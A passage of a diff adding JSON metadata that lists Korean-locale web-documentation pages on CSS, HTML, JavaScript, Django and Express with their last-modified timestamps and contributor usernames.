+    "modified": "2020-10-15T22:28:01.240Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Handling_different_text_directions": {
+    "modified": "2020-07-16T22:29:13.802Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Images_media_form_elements": {
+    "modified": "2020-07-16T22:29:25.861Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Organizing": {
+    "modified": "2020-07-16T22:29:31.977Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Overflowing_content": {
+    "modified": "2020-07-16T22:29:17.930Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Sizing_items_in_CSS": {
+    "modified": "2020-07-16T22:29:22.091Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Styling_tables": {
+    "modified": "2020-07-16T22:28:18.125Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/Values_and_units": {
+    "modified": "2020-07-16T22:28:58.232Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Building_blocks/상자_모델": {
+    "modified": "2020-07-16T22:29:04.939Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/Building_blocks/선택자": {
+    "modified": "2020-07-16T22:28:36.722Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/CSS_layout": {
+    "modified": "2020-07-16T22:26:31.606Z",
+    "contributors": [
+      "happyT",
+      "Hwan-Woong-Lee",
+      "sujinlee0616",
+      "stitchworkingonthecode",
+      "daesD",
+      "yooonmi"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Flexbox": {
+    "modified": "2020-07-16T22:26:53.880Z",
+    "contributors": [
+      "harryjjun",
+      "EricByHPHK",
+      "Hwan-Woong-Lee",
+      "cybaj"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Floats": {
+    "modified": "2020-07-16T22:26:38.865Z",
+    "contributors": [
+      "harryjjun",
+      "Hwan-Woong-Lee",
+      "ByeongGi"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Grids": {
+    "modified": "2020-07-16T22:27:00.538Z",
+    "contributors": [
+      "n2ptune",
+      "harryjjun",
+      "Hwan-Woong-Lee",
+      "sonsoonmee"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Introduction": {
+    "modified": "2020-07-16T22:27:06.481Z",
+    "contributors": [
+      "happyT",
+      "Hwan-Woong-Lee",
+      "DeadIntegral"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Legacy_Layout_Methods": {
+    "modified": "2020-07-16T22:27:15.445Z",
+    "contributors": [
+      "Hwan-Woong-Lee",
+      "SphinxKnight"
+    ]
+  },
+  "Learn/CSS/CSS_layout/Multiple-column_Layout": {
+    "modified": "2020-07-16T22:27:10.991Z",
+    "contributors": [
+      "harryjjun",
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서": {
+    "modified": "2020-07-16T22:27:32.744Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/CSS_layout/반응형_디자인": {
+    "modified": "2020-07-16T22:27:29.107Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/CSS_layout/위치잡기": {
+    "modified": "2020-07-16T22:26:44.211Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/CSS_layout/이전_브라우저_지원": {
+    "modified": "2020-07-16T22:27:19.114Z",
+    "contributors": [
+      "EricByHPHK",
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/CSS_layout/일반_흐름": {
+    "modified": "2020-07-16T22:27:22.113Z",
+    "contributors": [
+      "EricByHPHK",
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Learn/CSS/First_steps": {
+    "modified": "2020-07-16T22:27:39.876Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/First_steps/Getting_started": {
+    "modified": "2020-07-16T22:27:51.305Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/First_steps/How_CSS_is_structured": {
+    "modified": "2020-07-16T22:27:56.117Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/First_steps/How_CSS_works": {
+    "modified": "2020-07-16T22:28:00.995Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/First_steps/Using_your_new_knowledge": {
+    "modified": "2020-07-16T22:28:04.551Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/First_steps/What_is_CSS": {
+    "modified": "2020-10-15T22:27:36.251Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/CSS/Howto": {
+    "modified": "2020-07-16T22:25:42.866Z",
+    "contributors": [
+      "silmari"
+    ]
+  },
+  "Learn/CSS/Howto/Generated_content": {
+    "modified": "2020-07-16T22:25:48.143Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Learn/CSS/Introduction_to_CSS/기본적인_CSS_이해": {
+    "modified": "2020-07-16T22:28:12.763Z",
+    "contributors": [
+      "ERTuringLee"
+    ]
+  },
+  "Learn/CSS/Styling_text": {
+    "modified": "2020-07-16T22:25:59.083Z",
+    "contributors": [
+      "java2020007",
+      "jsmac7014"
+    ]
+  },
+  "Learn/CSS/Styling_text/Fundamentals": {
+    "modified": "2020-07-16T22:26:07.627Z",
+    "contributors": [
+      "java2020007",
+      "alattalatta",
+      "ERTuringLee"
+    ]
+  },
+  "Learn/CSS/Styling_text/Styling_lists": {
+    "modified": "2020-07-16T22:26:13.932Z",
+    "contributors": [
+      "java2020007"
+    ]
+  },
+  "Learn/Common_questions": {
+    "modified": "2020-07-17T04:53:21.623Z",
+    "contributors": [
+      "AlexChoi",
+      "rudolfo"
+    ]
+  },
+  "Learn/Common_questions/HTML_features_for_accessibility": {
+    "modified": "2020-07-16T22:35:51.295Z",
+    "contributors": [
+      "woojin.jo"
+    ]
+  },
+  "Learn/Common_questions/How_does_the_Internet_work": {
+    "modified": "2020-07-16T22:35:37.384Z",
+    "contributors": [
+      "FreelyReceivedFreelyGive",
+      "doong-jo",
+      "HoLlOlLoLlU",
+      "toyuq",
+      "ssilb4"
+    ]
+  },
+  "Learn/Common_questions/Pages_sites_servers_and_search_engines": {
+    "modified": "2020-07-16T22:35:40.167Z",
+    "contributors": [
+      "doong-jo",
+      "ssilb4"
+    ]
+  },
+  "Learn/Common_questions/Upload_files_to_a_web_server": {
+    "modified": "2020-07-16T22:35:41.806Z",
+    "contributors": [
+      "Je-Gwan",
+      "kuil09"
+    ]
+  },
+  "Learn/Common_questions/What_are_hyperlinks": {
+    "modified": "2020-07-16T22:35:43.271Z",
+    "contributors": [
+      "ssilb4"
+    ]
+  },
+  "Learn/Common_questions/What_is_a_URL": {
+    "modified": "2020-07-16T22:35:29.813Z",
+    "contributors": [
+      "ssilb4"
+    ]
+  },
+  "Learn/Common_questions/What_is_a_domain_name": {
+    "modified": "2020-07-16T22:35:44.305Z",
+    "contributors": [
+      "peacekimjapan",
+      "hyunjinyoon",
+      "ssilb4"
+    ]
+  },
+  "Learn/Common_questions/What_is_a_web_server": {
+    "modified": "2020-11-29T22:15:28.062Z",
+    "contributors": [
+      "yr4978",
+      "rshk2002",
+      "doong-jo",
+      "ghkdxofla",
+      "jisup",
+      "namwoo",
+      "woojin.jo"
+    ]
+  },
+  "Learn/Common_questions/What_software_do_I_need": {
+    "modified": "2020-07-16T22:35:33.374Z",
+    "contributors": [
+      "ssilb4"
+    ]
+  },
+  "Learn/Common_questions/set_up_a_local_testing_server": {
+    "modified": "2020-11-29T09:15:10.698Z",
+    "contributors": [
+      "yr4978",
+      "anoncaco",
+      "rkdxofyd",
+      "jungyh0218",
+      "dolmoon"
+    ]
+  },
+  "Learn/Common_questions/웹_사이트가_제대로_동작하는지_확인": {
+    "modified": "2020-07-16T22:35:50.357Z",
+    "contributors": [
+      "best8248"
+    ]
+  },
+  "Learn/Common_questions/코딩하기_전에_생각하기": {
+    "modified": "2020-07-16T22:35:34.712Z",
+    "contributors": [
+      "Silvermist",
+      "ssilb4",
+      "daebum-lee"
+    ]
+  },
+  "Learn/Front-end_web_developer": {
+    "modified": "2020-09-26T16:42:10.726Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Learn/Getting_started_with_the_web": {
+    "modified": "2020-07-16T22:33:54.184Z",
+    "contributors": [
+      "jinseobhong",
+      "scl2589",
+      "imn00133",
+      "alattalatta",
+      "dolmoon",
+      "galcyurio",
+      "gobyoungil",
+      "cs09g",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/CSS_기본": {
+    "modified": "2020-07-16T22:35:01.206Z",
+    "contributors": [
+      "java2020007",
+      "Silvermist",
+      "manmyung",
+      "jinah1000",
+      "dolmoon",
+      "limkukhyun",
+      "galcyurio",
+      "gobyoungil",
+      "stitchworkingonthecode",
+      "cs09g"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/HTML_기본": {
+    "modified": "2020-07-16T22:34:48.769Z",
+    "contributors": [
+      "scl2589",
+      "hahehohoo",
+      "moseoridev",
+      "alattalatta",
+      "dolmoon",
+      "limkukhyun",
+      "galcyurio",
+      "gobyoungil",
+      "LovelyGom1218",
+      "stitchworkingonthecode",
+      "cs09g"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/JavaScript_basics": {
+    "modified": "2020-07-16T22:35:12.767Z",
+    "contributors": [
+      "Silvermist",
+      "yeonjukim",
+      "dejoro",
+      "moseoridev",
+      "Parcovia",
+      "dolmoon",
+      "galcyurio",
+      "Vincent_Choe",
+      "cs09g",
+      "stephenjang"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/What_will_your_website_look_like": {
+    "modified": "2020-10-09T04:14:23.540Z",
+    "contributors": [
+      "anoncaco",
+      "alattalatta",
+      "YJLeeGinter",
+      "galcyurio",
+      "kygn1998",
+      "cs09g"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/기본_소프트웨어_설치하기": {
+    "modified": "2020-07-16T22:34:08.936Z",
+    "contributors": [
+      "thornbirda",
+      "alattalatta",
+      "dolmoon",
+      "limkukhyun",
+      "takeU",
+      "galcyurio",
+      "stitchworkingonthecode",
+      "cs09g"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/웹사이트_출판하기": {
+    "modified": "2020-07-16T22:34:27.246Z",
+    "contributors": [
+      "Taehoon",
+      "limkukhyun",
+      "galcyurio",
+      "novelview9",
+      "cs09g"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/웹의_동작_방식": {
+    "modified": "2020-07-16T22:34:01.419Z",
+    "contributors": [
+      "doong-jo",
+      "moseoridev",
+      "HoLlOlLoLlU",
+      "limkukhyun",
+      "LeeJunyeol",
+      "galcyurio",
+      "cs09g"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/파일들_다루기": {
+    "modified": "2020-10-09T05:21:10.101Z",
+    "contributors": [
+      "anoncaco",
+      "moseoridev",
+      "alattalatta",
+      "cs09g",
+      "dolmoon",
+      "limkukhyun",
+      "YJLeeGinter",
+      "galcyurio",
+      "BK-Yoo"
+    ]
+  },
+  "Learn/HTML": {
+    "modified": "2020-07-16T22:22:20.486Z",
+    "contributors": [
+      "naduhy2",
+      "cs09g"
+    ]
+  },
+  "Learn/HTML/Forms": {
+    "modified": "2020-07-16T22:20:59.522Z",
+    "contributors": [
+      "ssj24",
+      "chrisdavidmills",
+      "moolow",
+      "JeongSeongDae"
+    ]
+  },
+  "Learn/HTML/Forms/HTML_폼_구성_방법": {
+    "modified": "2020-09-29T02:01:00.293Z",
+    "contributors": [
+      "fscholz",
+      "sephiron99",
+      "chrisdavidmills",
+      "JeongSeongDae"
+    ]
+  },
+  "Learn/HTML/Forms/Sending_and_retrieving_form_data": {
+    "modified": "2020-07-16T22:21:27.567Z",
+    "contributors": [
+      "tldn0718",
+      "dev-dongwon",
+      "daesD",
+      "chrisdavidmills",
+      "Geun-Hyung_Kim",
+      "JeongSeongDae"
+    ]
+  },
+  "Learn/HTML/Forms/Your_first_HTML_form": {
+    "modified": "2020-07-16T22:21:05.991Z",
+    "contributors": [
+      "fscholz",
+      "sephiron99",
+      "chrisdavidmills",
+      "JeongSeongDae"
+    ]
+  },
+  "Learn/HTML/Howto": {
+    "modified": "2020-07-16T22:22:29.667Z",
+    "contributors": [
+      "Jeremie"
+    ]
+  },
+  "Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable": {
+    "modified": "2020-07-16T22:22:37.951Z",
+    "contributors": [
+      "Kaben"
+    ]
+  },
+  "Learn/HTML/Howto/데이터_속성_사용하기": {
+    "modified": "2020-07-16T22:22:36.382Z",
+    "contributors": [
+      "DDark",
+      "jyhwng",
+      "soulmatt"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML": {
+    "modified": "2020-07-16T22:22:50.673Z",
+    "contributors": [
+      "alattalatta",
+      "naduhy2",
+      "knight2995"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting": {
+    "modified": "2020-11-18T02:41:42.097Z",
+    "contributors": [
+      "sh0seo",
+      "Atercatus",
+      "dave1502",
+      "iloveek"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": {
+    "modified": "2020-07-16T22:23:45.260Z",
+    "contributors": [
+      "Xvezda",
+      "sangheon-kim",
+      "Tay_Kim",
+      "alattalatta",
+      "zDJKIMs",
+      "Han_jongbae"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Debugging_HTML": {
+    "modified": "2020-11-18T21:39:06.803Z",
+    "contributors": [
+      "sh0seo",
+      "dave1502",
+      "limkukhyun"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Document_and_website_structure": {
+    "modified": "2020-11-26T04:07:26.362Z",
+    "contributors": [
+      "ihooi",
+      "Tay_Kim",
+      "dave1502",
+      "SSJ-unclear",
+      "LeeJunyeol"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Getting_started": {
+    "modified": "2020-08-03T15:06:21.620Z",
+    "contributors": [
+      "180ukinnver",
+      "jinseobhong",
+      "LYJ",
+      "nancydocode",
+      "xmlnsBuzz",
+      "Ken123777",
+      "cheesecat47",
+      "HoLlOlLoLlU",
+      "NohSeho",
+      "sooup2",
+      "gyukebox",
+      "wonca",
+      "rote-IL",
+      "Sasin",
+      "takeU",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals": {
+    "modified": "2020-11-17T06:40:49.069Z",
+    "contributors": [
+      "sh0seo",
+      "everinh",
+      "YEIN",
+      "kimjangwook",
+      "Sufera",
+      "sangheon-kim",
+      "Tay_Kim",
+      "YJLeeGinter"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter": {
+    "modified": "2020-09-19T02:00:02.258Z",
+    "contributors": [
+      "pangol",
+      "jinseobhong",
+      "nancydocode"
+    ]
+  },
+  "Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": {
+    "modified": "2020-07-16T22:23:21.652Z",
+    "contributors": [
+      "anseonghyeon",
+      "minijaypark",
+      "0641031",
+      "NohSeho",
+      "SSJ-unclear",
+      "iloveek"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding": {
+    "modified": "2020-07-16T22:24:27.199Z",
+    "contributors": [
+      "enfroze",
+      "dave1502",
+      "genzuby",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Images_in_HTML": {
+    "modified": "2020-09-03T02:51:53.456Z",
+    "contributors": [
+      "junnapark",
+      "curious-curie",
+      "limkukhyun"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Responsive_images": {
+    "modified": "2020-07-23T05:47:19.984Z",
+    "contributors": [
+      "bhlbest20",
+      "paikwiki",
+      "mytory"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/ideo_and_audio_content": {
+    "modified": "2020-07-16T22:24:54.813Z",
+    "contributors": [
+      "jinseobhong"
+    ]
+  },
+  "Learn/HTML/Tables": {
+    "modified": "2020-07-16T22:25:13.523Z",
+    "contributors": [
+      "byoung_hyun"
+    ]
+  },
+  "Learn/How_to_contribute": {
+    "modified": "2020-07-16T22:33:45.510Z",
+    "contributors": [
+      "SphinxKnight",
+      "2oosoo",
+      "JinSeungHo"
+    ]
+  },
+  "Learn/Index": {
+    "modified": "2020-07-16T22:33:40.026Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Learn/Infrastructure": {
+    "modified": "2020-07-16T22:22:13.682Z",
+    "contributors": [
+      "KwanHong_Lee66"
+    ]
+  },
+  "Learn/JavaScript": {
+    "modified": "2020-12-01T10:05:39.249Z",
+    "contributors": [
+      "parkjihye",
+      "honggaruy",
+      "galcyurio",
+      "cs09g"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous": {
+    "modified": "2020-07-16T22:33:14.189Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Async_await": {
+    "modified": "2020-11-28T09:53:12.946Z",
+    "contributors": [
+      "HerbertLim",
+      "chupark"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Concepts": {
+    "modified": "2020-11-17T21:41:39.368Z",
+    "contributors": [
+      "mochapoke",
+      "Plut0",
+      "chupark",
+      "eunjungleecub"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Introducing": {
+    "modified": "2020-11-17T21:53:14.519Z",
+    "contributors": [
+      "mochapoke",
+      "chupark"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Promises": {
+    "modified": "2020-11-23T02:04:50.435Z",
+    "contributors": [
+      "varvir",
+      "chupark"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Timeouts_and_intervals": {
+    "modified": "2020-07-16T22:33:21.049Z",
+    "contributors": [
+      "cjkcc69"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks": {
+    "modified": "2020-07-16T22:31:09.649Z",
+    "contributors": [
+      "ojongchul",
+      "harry-cong",
+      "limkukhyun"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Build_your_own_function": {
+    "modified": "2020-11-12T19:32:09.012Z",
+    "contributors": [
+      "Sufera",
+      "chupark"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Functions": {
+    "modified": "2020-11-03T11:28:18.463Z",
+    "contributors": [
+      "mochapoke",
+      "unfolz",
+      "geudae",
+      "chupark",
+      "jivasangcript",
+      "heejink",
+      "jokh0108",
+      "JeonghoonChoi"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Looping_code": {
+    "modified": "2020-07-18T08:25:59.049Z",
+    "contributors": [
+      "cluelin",
+      "Nerd-Bear",
+      "Choco0914",
+      "SphinxKnight"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/조건문": {
+    "modified": "2020-08-19T22:28:52.853Z",
+    "contributors": [
+      "ramgabi",
+      "ojongchul",
+      "JaeWorld",
+      "notypicalus",
+      "Jonnie-Lion",
+      "gsphyo91"
+    ]
+  },
+  "Learn/JavaScript/Client-side_web_APIs": {
+    "modified": "2020-07-16T22:32:40.572Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Learn/JavaScript/Client-side_web_APIs/Client-side_storage": {
+    "modified": "2020-11-25T10:48:03.033Z",
+    "contributors": [
+      "KeisLuv",
+      "Shiwoo-Park"
+    ]
+  },
+  "Learn/JavaScript/First_steps": {
+    "modified": "2020-07-16T22:29:52.931Z",
+    "contributors": [
+      "hahehohoo",
+      "deltakor1234",
+      "officialmansu",
+      "alattalatta",
+      "peacekimjapan",
+      "sudokiz",
+      "osori",
+      "kidkkr",
+      "galcyurio",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/JavaScript/First_steps/A_first_splash": {
+    "modified": "2020-07-16T22:30:19.219Z",
+    "contributors": [
+      "hyeonjun_jo",
+      "theun0524",
+      "dejoro",
+      "jennybehan",
+      "SSJ-unclear",
+      "LoverKei",
+      "thkimmiridih",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Arrays": {
+    "modified": "2020-07-16T22:30:56.272Z",
+    "contributors": [
+      "chupark",
+      "EvanKim",
+      "heedaelee",
+      "limkukhyun",
+      "SSJ-unclear"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Math": {
+    "modified": "2020-11-28T11:49:29.100Z",
+    "contributors": [
+      "randi65535",
+      "sshplendid",
+      "daesD"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Silly_story_generator": {
+    "modified": "2020-08-21T05:13:22.652Z",
+    "contributors": [
+      "zero0yes",
+      "chupark",
+      "Jonnie-Lion"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Strings": {
+    "modified": "2020-07-16T22:30:40.608Z",
+    "contributors": [
+      "jivasangcript",
+      "deltakor1234",
+      "wisedog",
+      "limkukhyun",
+      "SSJ-unclear"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Useful_string_methods": {
+    "modified": "2020-09-01T23:43:42.532Z",
+    "contributors": [
+      "junnapark",
+      "jivasangcript",
+      "EvanKim",
+      "hnuh",
+      "deltakor1234",
+      "miyunim",
+      "limong",
+      "daesD",
+      "DrOhjho",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Variables": {
+    "modified": "2020-07-16T22:30:01.156Z",
+    "contributors": [
+      "sangheon-kim",
+      "yeonjukim",
+      "miyeunlee",
+      "LoverKei",
+      "DrOhjho",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/JavaScript/First_steps/What_is_JavaScript": {
+    "modified": "2020-07-16T22:30:10.331Z",
+    "contributors": [
+      "parkchoongho",
+      "presentY1897",
+      "developer-do",
+      "alattalatta",
+      "henry_hwang",
+      "minjihee89",
+      "yujinkim",
+      "khg0712",
+      "pustinia",
+      "wisedog",
+      "2kindsofcs",
+      "LoverKei",
+      "seungha-kim",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/JavaScript/First_steps/What_went_wrong": {
+    "modified": "2020-07-16T22:30:35.085Z",
+    "contributors": [
+      "search5",
+      "kode15333",
+      "minjihee89",
+      "eungbean",
+      "ullalassong",
+      "LoverKei",
+      "hjs6877",
+      "jswisher",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/JavaScript/Howto": {
+    "modified": "2020-07-16T22:33:10.275Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Learn/JavaScript/Objects": {
+    "modified": "2020-07-16T22:31:51.471Z",
+    "contributors": [
+      "cs09g",
+      "hyunkwon_88_cho",
+      "Parcovia",
+      "beowolf9",
+      "dsma73",
+      "Yoonjoo"
+    ]
+  },
+  "Learn/JavaScript/Objects/Basics": {
+    "modified": "2020-07-16T22:32:00.687Z",
+    "contributors": [
+      "youngdeok",
+      "cs09g",
+      "Parcovia",
+      "beowolf9",
+      "dsma73"
+    ]
+  },
+  "Learn/JavaScript/Objects/Inheritance": {
+    "modified": "2020-07-16T22:32:15.138Z",
+    "contributors": [
+      "youngdeok",
+      "quddnr153",
+      "beowolf9",
+      "ahnzaz"
+    ]
+  },
+  "Learn/JavaScript/Objects/JSON": {
+    "modified": "2020-08-11T02:41:01.905Z",
+    "contributors": [
+      "june0419",
+      "main2039",
+      "unfolz",
+      "bjnhur",
+      "JaeWorld",
+      "ahnzaz"
+    ]
+  },
+  "Learn/JavaScript/Objects/Object-oriented_JS": {
+    "modified": "2020-07-16T22:32:06.697Z",
+    "contributors": [
+      "alattalatta",
+      "beowolf9",
+      "lunarlit",
+      "dsma73"
+    ]
+  },
+  "Learn/JavaScript/Objects/Object_prototypes": {
+    "modified": "2020-07-16T22:32:21.572Z",
+    "contributors": [
+      "beowolf9",
+      "chungheepark",
+      "ahnzaz"
+    ]
+  },
+  "Learn/Server-side": {
+    "modified": "2020-07-16T22:35:59.813Z",
+    "contributors": [
+      "alattalatta",
+      "ssilb4",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/Server-side/Django": {
+    "modified": "2020-07-16T22:36:34.026Z",
+    "contributors": [
+      "eunjungleecub",
+      "seokhoonhong",
+      "byoung_hyun",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/Server-side/Django/Admin_site": {
+    "modified": "2020-07-16T22:37:04.223Z",
+    "contributors": [
+      "honeybees",
+      "catedt",
+      "KSYong",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Authentication": {
+    "modified": "2020-08-14T13:01:24.756Z",
+    "contributors": [
+      "peterkim",
+      "proost",
+      "dorage",
+      "PeterKim1967",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Deployment": {
+    "modified": "2020-07-16T22:37:41.948Z",
+    "contributors": [
+      "honggaruy"
+    ]
+  },
+  "Learn/Server-side/Django/Forms": {
+    "modified": "2020-07-16T22:37:32.573Z",
+    "contributors": [
+      "leemmh14",
+      "hecaiont",
+      "lunar96",
+      "honggaruy"
+    ]
+  },
+  "Learn/Server-side/Django/Generic_views": {
+    "modified": "2020-07-16T22:37:17.289Z",
+    "contributors": [
+      "proost",
+      "yongtaekjun",
+      "Seonghui",
+      "KSYong",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Home_page": {
+    "modified": "2020-07-16T22:37:09.780Z",
+    "contributors": [
+      "KSYong",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Introduction": {
+    "modified": "2020-07-16T22:36:40.248Z",
+    "contributors": [
+      "myanjini",
+      "NealLab",
+      "shineYi",
+      "skim0726",
+      "JeonghoonChoi",
+      "KSYong",
+      "gaonK",
+      "dinobei",
+      "teddyc",
+      "honggaruy",
+      "LeeJunyeol",
+      "RyuGeunYeol",
+      "seokhoonhong",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/Server-side/Django/Models": {
+    "modified": "2020-07-16T22:36:58.942Z",
+    "contributors": [
+      "myanjini",
+      "TKcard",
+      "catedt",
+      "KSYong",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Sessions": {
+    "modified": "2020-07-16T22:37:27.249Z",
+    "contributors": [
+      "proost",
+      "yongtaekjun",
+      "PeterKim1967",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Testing": {
+    "modified": "2020-10-07T12:14:45.041Z",
+    "contributors": [
+      "khyunji",
+      "didguscjf95",
+      "zxzl",
+      "PeterKim1967",
+      "honggaruy",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/Tutorial_local_library_website": {
+    "modified": "2020-07-16T22:36:49.935Z",
+    "contributors": [
+      "myanjini",
+      "ChangYoonJai",
+      "honggaruy",
+      "Jonnie-Lion"
+    ]
+  },
+  "Learn/Server-side/Django/development_environment": {
+    "modified": "2020-07-16T22:36:45.947Z",
+    "contributors": [
+      "myanjini",
+      "honggaruy",
+      "KSYong",
+      "SYCHOI",
+      "kyueunQ",
+      "JieunKim"
+    ]
+  },
+  "Learn/Server-side/Django/skeleton_website": {
+    "modified": "2020-07-16T22:36:53.604Z",
+    "contributors": [
+      "myanjini",
+      "dryben",
+      "yongtaekjun",
+      "KSYong",
+      "ChangYoonJai",
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/Django/web_application_security": {
+    "modified": "2020-10-09T00:35:51.288Z",
+    "contributors": [
+      "cozyClassic",
+      "eunjungleecub"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs": {
+    "modified": "2020-07-16T22:37:53.538Z",
+    "contributors": [
+      "iyabong",
+      "sshplendid",
+      "jjwkdl",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/Introduction": {
+    "modified": "2020-08-30T23:57:41.028Z",
+    "contributors": [
+      "Sunmin0520",
+      "Kyungminkim31",
+      "iyabong",
+      "Je-Gwan",
+      "peacekimjapan",
+      "silmari",
+      "2dubbing",
+      "Ken123777",
+      "ByeongGi",
+      "ChanghwaLee"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/mongoose": {
+    "modified": "2020-07-16T22:38:21.935Z",
+    "contributors": [
+      "SuminNoh",
+      "LeeJunyeol"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/routes": {
+    "modified": "2020-07-16T22:38:26.931Z",
+    "contributors": [
+      "iwanttoeatsogogiverymuch",
+      "ByeongGi"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/개발_환경": {
+    "modified": "2020-07-16T22:37:59.245Z",
+    "contributors": [
+      "DDark"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/스켈레톤_웹사이트": {
+    "modified": "2020-07-16T22:38:05.117Z",
+    "contributors": [
+      "SYCHOI"
+    ]
+  },
+  "Learn/Server-side/First_steps": {
+    "modified": "2020-07-16T22:36:09.855Z",
+    "contributors": [
+      "Je-Gwan",
+      "bcc829",
+      "DongleLeaf",
+      "ljt94"
+    ]
+  },
+  "Learn/Server-side/First_steps/Client-Server_overview": {
+    "modified": "2020-07-16T22:36:20.747Z",
+    "contributors": [
+      "varvir",
+      "bcc829"
+    ]
+  },
+  "Learn/Server-side/First_steps/Introduction": {
+    "modified": "2020-07-16T22:36:15.405Z",
+    "contributors": [
+      "galcyurio",
+      "bcc829"
+    ]
+  },
+  "Learn/Server-side/First_steps/Web_frameworks": {
+    "modified": "2020-07-16T22:36:25.153Z",
+    "contributors": [
+      "proost",
